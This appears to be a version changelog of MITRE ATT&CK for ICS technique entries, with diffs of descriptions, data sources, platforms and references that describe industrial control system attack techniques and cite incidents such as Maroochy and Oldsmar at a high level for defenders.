| > | he physical outputs, the output image table contents are cop | > | of PLCs is their ability to override the status of a physic | ||
| > | ied to the physical outputs after the program is scanned. O | > | al discrete input or to override the logic driving a physica | ||
| > | ne of the unique characteristics of PLCs is their ability to | > | l output coil and force the output to a desired status. | ||
| > | override the status of a physical discrete input or to over | ||||
| > | ride the logic driving a physical output coil and force the | ||||
| > | output to a desired status. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-14 15:25:32.143000+00:00 |
| description | Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Guidance - ISA PLC) During the PLC scan cycle, the state of the actual physical inputs is copied to a portion of the PLC memory, commonly called the input image table. When the program is scanned, it examines the input image table to read the state of a physical input. When the logic determines the state of a physical output, it writes to a portion of the PLC memory commonly called the output image table. The output image may also be examined during the program scan. To update the physical outputs, the output image table contents are copied to the physical outputs after the program is scanned. One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status. | Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Guidance - ISA PLC) During the scan cycle, a PLC reads the status of all inputs and stores them in an image table.2 The image table is the PLC’s internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules. One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status. |
| x_mitre_data_sources[0] | Controller program | Operational Databases: Process History/Live Data |
| x_mitre_data_sources[1] | Process monitoring | Operational Databases: Device Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'PLC-Blaster 2', 'description': 'Spenneberg, Ralf. (2016). PLC-Blaster. Retrieved June 6, 2019.', 'url': 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf'} | |
| external_references | {'source_name': 'Stuxnet - Symantec - 201102', 'description': 'Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 07:57:26.506000+00:00 |
| x_mitre_platforms[0] | Windows | None |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 07:57:26.506000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Field Controller/RTU/PLC/IED |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-12 16:35:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | File Monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Metadata |
| x_mitre_data_sources[2] | Binary file metadata | File: File Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Scheduled Job: Scheduled Job Metadata | |
| x_mitre_data_sources | Scheduled Job: Scheduled Job Modification | |
| x_mitre_data_sources | Service: Service Creation | |
| x_mitre_data_sources | Service: Service Metadata |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Controller parameters | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Process History/Live Data |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Device Configuration/Parameters |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 11:15:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Sequential event recorder | File: File Modification |
| x_mitre_data_sources[1] | Controller program | Asset: Software/Firmware |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Packet capture |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify parameters used to instruct industria | t | 1 | Adversaries may modify parameters used to instruct industria |
| > | l control system devices. These devices operate via programs | > | l control system devices. These devices operate via programs | ||
| > | that dictate how and when to perform actions based on such | > | that dictate how and when to perform actions based on such | ||
| > | parameters. Such parameters can determine the extent to whic | > | parameters. Such parameters can determine the extent to whic | ||
| > | h an action is performed and may specify additional options. | > | h an action is performed and may specify additional options. | ||
| > | For example, a program on a control system device dictating | > | For example, a program on a control system device dictating | ||
| > | motor processes may take a parameter defining the total num | > | motor processes may take a parameter defining the total num | ||
| > | ber of seconds to run that motor. An adversary can pote | > | ber of seconds to run that motor. An adversary can pote | ||
| > | ntially modify these parameters to produce an outcome outsid | > | ntially modify these parameters to produce an outcome outsid | ||
| > | e of what was intended by the operators. By modifying system | > | e of what was intended by the operators. By modifying system | ||
| > | and process critical parameters, the adversary may cause Im | > | and process critical parameters, the adversary may cause Im | ||
| > | pact to equipment and/or control processes. Modified paramet | > | pact to equipment and/or control processes. Modified paramet | ||
| > | ers may be turned into dangerous, out-of-bounds, or unexpect | > | ers may be turned into dangerous, out-of-bounds, or unexpect | ||
| > | ed values from typical operations. For example, specifying t | > | ed values from typical operations. For example, specifying t | ||
| > | hat a process run for more or less time than it should, or d | > | hat a process run for more or less time than it should, or d | ||
| > | ictating an unusually high, low, or invalid value as a param | > | ictating an unusually high, low, or invalid value as a param | ||
| > | eter. In the Maroochy Attack, Vitek Boden gained remote co | > | eter. In the Maroochy Attack, Vitek Boden gained remote co | ||
| > | mputer access to the control system and altered data so that | > | mputer access to the control system and altered data so that | ||
| > | whatever function should have occurred at affected pumping | > | whatever function should have occurred at affected pumping | ||
| > | stations did not occur or occurred in a different way. The s | > | stations did not occur or occurred in a different way. The s | ||
| > | oftware program installed in the laptop was one developed by | > | oftware program installed in the laptop was one developed by | ||
| > | Hunter Watertech for its use in changing configurations in | > | Hunter Watertech for its use in changing configurations in | ||
| > | the PDS computers. This ultimately led to 800,000 liters of | > | the PDS computers. This ultimately led to 800,000 liters of | ||
| > | raw sewage being spilled out into the community. (Citation: | > | raw sewage being spilled out into the community. (Citation: | ||
| > | Maroochy - MITRE - 200808) | > | Maroochy - MITRE - 200808) In the Oldsmar water treatment at | ||
| > | tack, adversaries raised the sodium hydroxide setpoint value | ||||
| > | from 100 part-per-million (ppm) to 11,100 ppm, far beyond n | ||||
| > | ormal operating levels. (Citation: Oldsmar Water Treatment A | ||||
| > | ttack Feb 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-14 15:25:32.143000+00:00 |
| description | Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808) | Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808) In the Oldsmar water treatment attack, adversaries raised the sodium hydroxide setpoint value from 100 part-per-million (ppm) to 11,100 ppm, far beyond normal operating levels. (Citation: Oldsmar Water Treatment Attack Feb 2021) |
| x_mitre_data_sources[0] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network protocol analysis | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Packet capture | Operational Databases: Device Alarm |
| x_mitre_data_sources[3] | Application logs | Asset: Device Configuration/Parameters |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Oldsmar Water Treatment Attack Feb 2021', 'description': 'Pinellas County Sheriff’s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.', 'url': 'https://www.youtube.com/watch?v=MkXDSOgLQ6M'} |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 11:15:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Sequential event recorder | File: File Modification |
| x_mitre_data_sources[1] | Controller program | Asset: Software/Firmware |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Packet capture |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Sequential event recorder | Firmware: Firmware Modification |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Flow |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Digital signatures |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Controller program | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network device logs | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Host network interfaces |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 13:47:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | API monitoring | Process: OS API Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | System calls |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | API monitoring | Process: OS API Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Network device logs | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Host network interfaces |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Network protocol analysis | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_data_sources | Netflow/Enclave netflow |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 12:52:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Controller program | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Device Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-13 15:07:32.143000+00:00 |
| x_mitre_data_sources[0] | Sequential event recorder | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Controller program | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Packet capture |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Digital signatures |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage remote services to move between ass | t | 1 | Adversaries may leverage remote services to move between ass |
| > | ets and network segments. These services are often used to a | > | ets and network segments. These services are often used to a | ||
| > | llow operators to interact with systems remotely within the | > | llow operators to interact with systems remotely within the | ||
| > | network, some examples are RDP, SMB, SSH, and other similar | > | network, some examples are RDP, SMB, SSH, and other similar | ||
| > | mechanisms. Remote services could be used to support remote | > | mechanisms. Remote services could be used to support remote | ||
| > | access, data transmission, authentication, name resolution, | > | access, data transmission, authentication, name resolution, | ||
| > | and other remote functions. Further, remote services may be | > | and other remote functions. Further, remote services may be | ||
| > | necessary to allow operators and administrators to configure | > | necessary to allow operators and administrators to configure | ||
| > | systems within the network from their engineering or manage | > | systems within the network from their engineering or manage | ||
| > | ment workstations. An adversary may use this technique to ac | > | ment workstations. An adversary may use this technique to ac | ||
| > | cess devices which may be dual-homed to multiple network seg | > | cess devices which may be dual-homed to multiple network seg | ||
| > | ments, and can be used for Program Download or to execute at | > | ments, and can be used for Program Download or to execute at | ||
| > | tacks on control devices directly through Valid Accounts. Sp | > | tacks on control devices directly through Valid Accounts. Sp | ||
| > | ecific remote services (RDP & VNC) may be a precursor to ena | > | ecific remote services (RDP & VNC) may be a precursor to ena | ||
| > | ble Graphical User Interface execution on devices such as HM | > | ble Graphical User Interface execution on devices such as HM | ||
| > | Is or engineering workstation software. | > | Is or engineering workstation software. In the Oldsmar water | ||
| > | treatment attack, adversaries gained access to the system t | ||||
| > | hrough remote access software, allowing for the use of the s | ||||
| > | tandard operator HMI interface.(Citation: Oldsmar Water Trea | ||||
| > | tment Attack Feb 2021) Based on incident data, CISA and FBI | ||||
| > | assessed that Chinese state-sponsored actors also compromise | ||||
| > | d various authorized remote access channels, including syste | ||||
| > | ms designed to transfer data and/or allow access between cor | ||||
| > | porate and ICS networks.(Citation: CISA Chinese Gas Pipeline | ||||
| > | Intrusion 2011 - 2013 July 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-12 19:26:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms. Remote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed to multiple network segments, and can be used for Program Download or to execute attacks on control devices directly through Valid Accounts. Specific remote services (RDP & VNC) may be a precursor to enable Graphical User Interface execution on devices such as HMIs or engineering workstation software. | Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms. Remote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed to multiple network segments, and can be used for Program Download or to execute attacks on control devices directly through Valid Accounts. Specific remote services (RDP & VNC) may be a precursor to enable Graphical User Interface execution on devices such as HMIs or engineering workstation software. In the Oldsmar water treatment attack, adversaries gained access to the system through remote access software, allowing for the use of the standard operator HMI interface.(Citation: Oldsmar Water Treatment Attack Feb 2021) Based on incident data, CISA and FBI assessed that Chinese state-sponsored actors also compromised various authorized remote access channels, including systems designed to transfer data and/or allow access between corporate and ICS networks.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021) |
| x_mitre_data_sources[0] | Windows event logs | Command: Command Execution |
| x_mitre_data_sources[1] | Authentication logs | Logon Session: Logon Session Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Oldsmar Water Treatment Attack Feb 2021', 'description': 'Pinellas County Sheriff’s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.', 'url': 'https://www.youtube.com/watch?v=MkXDSOgLQ6M'} | |
| external_references | {'source_name': 'CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021', 'description': 'ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'} | |
| x_mitre_data_sources | Network Share: Network Share Access | |
| x_mitre_data_sources | Network Traffic: Network Connection Creation | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process use of network | File: File Access |
| x_mitre_data_sources[2] | Process command-line parameters | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Network protocol analysis | Process: Process Creation |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 12:45:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Network protocol analysis | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Packet capture | Application Log: Application Log Content |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Drive: Drive Creation |
| x_mitre_data_sources[1] | Data loss prevention | File: File Access |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-12 19:26:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Asset management | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Network protocol analysis | Application Log: Application Log Content |
| x_mitre_data_sources[3] | Packet capture | Operational Databases: Process/Event Alarm |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Controller program | Drive: Drive Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Firmware: Firmware Modification | |
| x_mitre_data_sources | Module: Module Load |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | API monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: OS API Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Module: Module Load |
| x_mitre_data_sources[2] | Process monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Script: Script Execution |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-12 16:23:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Modification |
| x_mitre_data_sources[2] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[3] | Windows Registry | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Termination | |
| x_mitre_data_sources | Service: Service Metadata | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use a spearphishing attachment, a variant of | t | 1 | Adversaries may use a spearphishing attachment, a variant of |
| > | spearphishing, as a form of a social engineering attack aga | > | spearphishing, as a form of a social engineering attack aga | ||
| > | inst specific targets. Spearphishing attachments are differe | > | inst specific targets. Spearphishing attachments are differe | ||
| > | nt from other forms of spearphishing in that they employ mal | > | nt from other forms of spearphishing in that they employ mal | ||
| > | ware attached to an email. All forms of spearphishing are el | > | ware attached to an email. All forms of spearphishing are el | ||
| > | ectronically delivered and target a specific individual, com | > | ectronically delivered and target a specific individual, com | ||
| > | pany, or industry. In this scenario, adversaries attach a fi | > | pany, or industry. In this scenario, adversaries attach a fi | ||
| > | le to the spearphishing email and usually rely upon User Exe | > | le to the spearphishing email and usually rely upon User Exe | ||
| > | cution to gain execution and access. (Citation: EAttack Spea | > | cution to gain execution and access. (Citation: EAttack Spea | ||
| > | rphishing Attachment) | > | rphishing Attachment) A Chinese spearphishing campaign runni | ||
| > | ng from December 9, 2011 through February 29, 2012, targeted | ||||
| > | ONG organizations and their employees. The emails were cons | ||||
| > | tructed with a high level of sophistication to convince empl | ||||
| > | oyees to open the malicious file attachments.(Citation: CISA | ||||
| > | Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access. (Citation: EAttack Spearphishing Attachment) | Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access. (Citation: EAttack Spearphishing Attachment) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012, targeted ONG organizations and their employees. The emails were constructed with a high level of sophistication to convince employees to open the malicious file attachments.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021) |
| x_mitre_data_sources[0] | File monitoring | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Packet capture | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021', 'description': 'ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Detonation chamber | |
| x_mitre_data_sources | Email gateway | |
| x_mitre_data_sources | Mail server |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Alarm History | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network protocol analysis | Application Log: Application Log Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Process use of network | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Malware reverse engineering | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Packet capture |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Web proxy', 'File monitoring', 'Detonation chamber', 'Digital signatures'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 12:19:26.506000+00:00 | 2021-10-11 16:22:12.527000+00:00 |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Alarm history | Firmware: Firmware Modification |
| x_mitre_data_sources[1] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-11 16:22:12.527000+00:00 |
| x_mitre_platforms[0] | Windows | None |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send unauthorized command messages to instru | t | 1 | Adversaries may send unauthorized command messages to instru |
| > | ct control system assets to perform actions outside of their | > | ct control system assets to perform actions outside of their | ||
| > | intended functionality, or without the logical precondition | > | intended functionality, or without the logical precondition | ||
| > | s to trigger their expected function. Command messages are u | > | s to trigger their expected function. Command messages are u | ||
| > | sed in ICS networks to give direct instructions to control s | > | sed in ICS networks to give direct instructions to control s | ||
| > | ystems devices. If an adversary can send an unauthorized com | > | ystems devices. If an adversary can send an unauthorized com | ||
| > | mand message to a control system, then it can instruct the c | > | mand message to a control system, then it can instruct the c | ||
| > | ontrol systems device to perform an action outside the norma | > | ontrol systems device to perform an action outside the norma | ||
| > | l bounds of the device's actions. An adversary could potenti | > | l bounds of the device's actions. An adversary could potenti | ||
| > | ally instruct a control systems device to perform an action | > | ally instruct a control systems device to perform an action | ||
| > | that will cause an Impact. In the Maroochy Attack, the adver | > | that will cause an Impact. (Citation: Research - Research - | ||
| > | sary used a dedicated analog two-way radio system to send fa | > | Taxonomy Cyber Attacks on SCADA) In the Maroochy Attack, the | ||
| > | lse data and instructions to pumping stations and the centra | > | adversary used a dedicated analog two-way radio system to s | ||
| > | l computer. In the Dallas Siren incident, adversaries were a | > | end false data and instructions to pumping stations and the | ||
| > | ble to send command messages to activate tornado alarm syste | > | central computer. (Citation: Maroochy - MITRE - 200808) In t | ||
| > | ms across the city without an impending tornado or other dis | > | he Dallas Siren incident, adversaries were able to send comm | ||
| > | aster. Alarms were activated more than a dozen times. These | > | and messages to activate tornado alarm systems across the ci | ||
| > | disruptions occurred once in 2017, and later in a nearby cou | > | ty without an impending tornado or other disaster. (Citation | ||
| > | nty in 2019. | > | :ZDNet Dallas April 2017) (Citation:StateScoop Dallas March | ||
| > | 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 09:28:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
